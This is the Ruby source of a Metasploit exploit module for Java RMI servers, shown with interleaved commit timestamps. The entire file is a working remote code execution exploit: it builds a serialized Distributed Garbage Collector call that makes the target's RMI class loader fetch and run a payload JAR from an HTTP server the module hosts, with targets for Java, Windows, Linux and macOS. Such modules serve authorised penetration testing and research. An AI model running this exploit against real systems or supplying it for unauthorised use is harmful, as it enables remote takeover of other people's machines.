metasploit-framework/modules/exploits/multi/misc/java_rmi_server.rb

283 lines
9.4 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2015-02-10 17:55:14 +00:00
include Msf::Java::Rmi::Client
2014-11-14 00:21:19 +00:00
include Msf::Exploit::Remote::HttpServer
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
'Description' => %q{
This module takes advantage of the default configuration of the RMI Registry and
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
invokes a method in the RMI Distributed Garbage Collector which is available via every
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well.
Note that it does not work against Java Management Extension (JMX) ports since those do
not support remote class loading, unless another RMI endpoint is active in the same
Java process.
RMI method calls do not support or require any sort of authentication.
},
'Author' => [ 'mihi' ],
'License' => MSF_LICENSE,
'References' =>
[
# RMI protocol specification
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
# Placeholder reference for matching
[ 'MSF', 'java_rmi_server']
],
'DisclosureDate' => 'Oct 15 2011',
'Platform' => %w{ java linux osx solaris win },
2014-11-14 00:00:11 +00:00
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
2014-11-14 00:21:19 +00:00
'DefaultOptions' =>
{
'WfsDelay' => 10
},
2014-11-14 00:00:11 +00:00
'Targets' =>
2013-08-30 21:28:54 +00:00
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
2014-11-14 00:00:11 +00:00
'DefaultTarget' => 0
2013-08-30 21:28:54 +00:00
))
2014-11-14 00:21:19 +00:00
register_options([
Opt::RPORT(1099),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
], self.class)
2013-08-30 21:28:54 +00:00
register_autofilter_ports([ 1098, 1099 ])
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
end
def exploit
2014-11-14 00:21:19 +00:00
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, re-raise
# RuntimeError so it won't wait the full wfs_delay
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
rescue Msf::Exploit::Failed
# When the server stops due primer failing, re-raise
# RuntimeError so it won't wait the full wfs_delays
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
2014-11-14 04:34:17 +00:00
# When the primer fails due to an error connecting with
# the rhost, re-raise RuntimeError so it won't wait the
# full wfs_delays
raise ::RuntimeError, e.message
2014-11-14 00:21:19 +00:00
end
end
def peer
"#{rhost}:#{rport}"
end
2014-11-14 00:21:19 +00:00
def primer
2013-08-30 21:28:54 +00:00
connect
2015-01-08 22:04:56 +00:00
print_status("#{peer} - Sending RMI Header...")
send_header
ack = recv_protocol_ack
if ack.nil?
2015-03-27 18:27:36 +00:00
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
2015-01-08 20:52:55 +00:00
end
2013-08-30 21:28:54 +00:00
jar = rand_text_alpha(rand(8)+1) + '.jar'
new_url = get_uri + '/' + jar
2015-01-08 22:04:56 +00:00
print_status("#{peer} - Sending RMI Call...")
2015-04-01 17:09:42 +00:00
dgc_interface_hash = calculate_interface_hash(
[
{
name: 'clean',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
exceptions: ['java.rmi.RemoteException']
},
{
name: 'dirty',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
exceptions: ['java.rmi.RemoteException']
}
]
)
# JDK 1.1 stub protocol
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
send_call(
object_number: 2,
uid_number: 0,
uid_time: 0,
uid_count: 0,
operation: 0,
2015-04-01 17:09:42 +00:00
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
arguments: build_dgc_clean_args(new_url)
)
2015-03-18 02:29:52 +00:00
return_value = recv_return
2015-01-08 22:04:56 +00:00
2015-03-18 02:29:52 +00:00
if return_value.nil? && !session_created?
2015-01-08 22:04:56 +00:00
fail_with(Failure::Unknown, 'RMI Call failed')
end
2015-03-18 02:29:52 +00:00
if return_value && return_value.is_exception? && loader_disabled?(return_value)
2015-01-08 22:04:56 +00:00
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
end
2015-03-18 02:29:52 +00:00
if return_value && return_value.is_exception? && class_not_found?(return_value)
2015-01-08 22:04:56 +00:00
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
2013-08-30 21:28:54 +00:00
end
2014-11-14 00:21:19 +00:00
disconnect
2013-08-30 21:28:54 +00:00
end
def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
[ "metasploit", "RMILoader.class" ],
[ "metasploit", "RMIPayload.class" ],
]
jar.add_files(paths, MetasploitPayloads.path('java'))
2013-08-30 21:28:54 +00:00
send_response(cli, jar.pack,
{
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
print_status("Replied to request for payload JAR")
2014-11-14 00:21:19 +00:00
stop_service
2013-08-30 21:28:54 +00:00
end
end
def autofilter
return true
end
2015-03-18 02:29:52 +00:00
def loader_disabled?(return_value)
return_value.value.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
exception.class_data[1].contents.include?('RMI class loader disabled')
2015-01-08 22:04:56 +00:00
return true
end
end
false
end
2015-03-18 02:29:52 +00:00
def class_not_found?(return_value)
return_value.value.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
2015-01-08 22:04:56 +00:00
return true
end
end
false
end
def build_dgc_clean_args(jar_url)
arguments = []
2015-01-14 22:47:28 +00:00
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
new_array_desc.class_annotation = new_array_annotation
new_array_desc.super_class = new_array_super
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
array_desc.description = new_array_desc
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.type = 'java.rmi.server.ObjID;'
new_array.values = []
new_array.array_description = array_desc
arguments << new_array
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
2015-01-14 22:47:28 +00:00
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
arguments << new_object
2015-01-14 22:47:28 +00:00
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
2015-01-14 22:47:28 +00:00
arguments
2015-01-14 22:47:28 +00:00
end
end